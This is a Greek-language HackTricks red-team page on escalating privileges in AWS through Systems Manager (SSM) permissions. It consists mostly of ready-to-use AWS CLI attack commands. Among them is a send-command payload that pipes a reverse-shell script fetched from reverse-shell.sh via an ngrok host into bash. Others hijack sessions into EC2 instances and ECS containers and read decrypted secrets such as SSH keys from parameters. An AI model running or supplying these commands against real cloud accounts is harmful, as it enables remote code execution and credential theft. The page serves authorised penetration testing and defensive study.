AWS - SSM Privesc

Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

SSM

Για περισσότερες πληροφορίες σχετικά με το SSM ελέγξτε:

AWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Ένας επιτιθέμενος με την άδεια ssm:SendCommand μπορεί να εκτελέσει εντολές σε παραδείγματα που εκτελούν το Amazon SSM Agent και να διακινδυνεύσει τον ρόλο IAM που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

Σε περίπτωση που χρησιμοποιείτε αυτήν την τεχνική για την ανάδειξη προνομίων μέσα σε ένα ήδη χειρισμένο παράδειγμα EC2, θα μπορούσατε απλά να αιχμαλωτίσετε το rev shell τοπικά με:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Πιθανή Επίπτωση: Άμεση ανύψωση προνομίων στους ρόλους IAM του EC2 που συνδέονται με τις ενεργές μηχανές με SSM Agents που τρέχουν.

ssm:StartSession

Ένας επιτιθέμενος με την άδεια ssm:StartSession μπορεί να ξεκινήσει μια συνεδρία παρόμοια με SSH στις μηχανές που τρέχουν το Amazon SSM Agent και να διακινδυνεύσει τον ρόλο IAM που τρέχει μέσα σε αυτήν.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Για να ξεκινήσετε μια συνεδρία, χρειάζεστε το SessionManagerPlugin εγκατεστημένο: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Πιθανή Επίπτωση: Άμεση αύξηση προνομίων στους ρόλους IAM του EC2 που είναι συνδεδεμένοι σε λειτουργία με SSM Agents ενεργοποιημένα.

Αύξηση Προνομίων στο ECS

Όταν τα ECS tasks τρέχουν με το ExecuteCommand ενεργοποιημένο, οι χρήστες με επαρκή δικαιώματα μπορούν να χρησιμοποιήσουν την εντολή ecs execute-command για να εκτελέσουν μια εντολή μέσα στο container. Σύμφωνα με την τεκμηρίωση, αυτό επιτυγχάνεται δημιουργώντας ένα ασφαλές κανάλι μεταξύ της συσκευής που χρησιμοποιείτε για να ξεκινήσετε την εντολή "exec" και του στόχου container με το SSM Session Manager. (Απαιτείται το SSM Session Manager Plugin για να λειτουργήσει) Συνεπώς, οι χρήστες με ssm:StartSession θα μπορούν να αποκτήσουν ένα κέλυφος μέσα στα ECS tasks με αυτήν την επιλογή ενεργοποιημένη απλά εκτελώντας:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Πιθανή Επίπτωση: Άμεση ανύψωση προνομίων στους ρόλους ECSIAM που είναι συνδεδεμένοι σε εκτελούμενες εργασίες με ενεργοποιημένη την ExecuteCommand.

ssm:ResumeSession

Ένας επιτιθέμενος με την άδεια ssm:ResumeSession μπορεί να επανεκκινήσει μια συνεδρία παρόμοια με SSH σε παραδείγματα που εκτελούν το Amazon SSM Agent με μια κατάσταση αποσυνδεδεμένης συνεδρίας SSM και να θέσει σε κίνδυνο τον ρόλο IAM που εκτελείται μέσα σε αυτό.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Πιθανή Επίδραση: Άμεση αύξηση προνομιακών δικαιωμάτων στους ρόλους IAM των EC2 που εκτελούνται με SSM Agents ενεργούς και αποσυνδεδεμένες συνεδρίες.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Ένας επιτιθέμενος με τα ανωτέρω δικαιώματα θα μπορεί να καταλογογραφήσει τις παραμέτρους SSM και να τις διαβάσει σε καθαρό κείμενο. Σε αυτές τις παραμέτρους μπορεί συχνά να βρει ευαίσθητες πληροφορίες όπως κλειδιά SSH ή κλειδιά API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Πιθανή Επίδραση: Εντοπισμός ευαίσθητων πληροφοριών μέσα στις παραμέτρους.

ssm:ListCommands

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να εμφανίσει όλες τις εντολές που έχουν σταλεί και ελπίζει να βρει ευαίσθητες πληροφορίες σε αυτές.

aws ssm list-commands

Πιθανή Επίδραση: Εύρεση ευαίσθητων πληροφοριών μέσα στις γραμμές εντολών.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να καταλογογραφήσει όλες τις εντολές που έχουν σταλεί και να διαβάσει την έξοδο που παράγεται, ελπίζοντας να βρει ευαίσθητες πληροφορίες σε αυτές.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Πιθανή Επίδραση: Βρείτε ευαίσθητες πληροφορίες μέσα στην έξοδο των γραμμών εντολών.

Codebuild

Μπορείτε επίσης να χρησιμοποιήσετε το SSM για να μπείτε σε ένα έργο codebuild που χτίζεται:

AWS - Codebuild Privesc
Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι υποστήριξης του HackTricks:

Last updated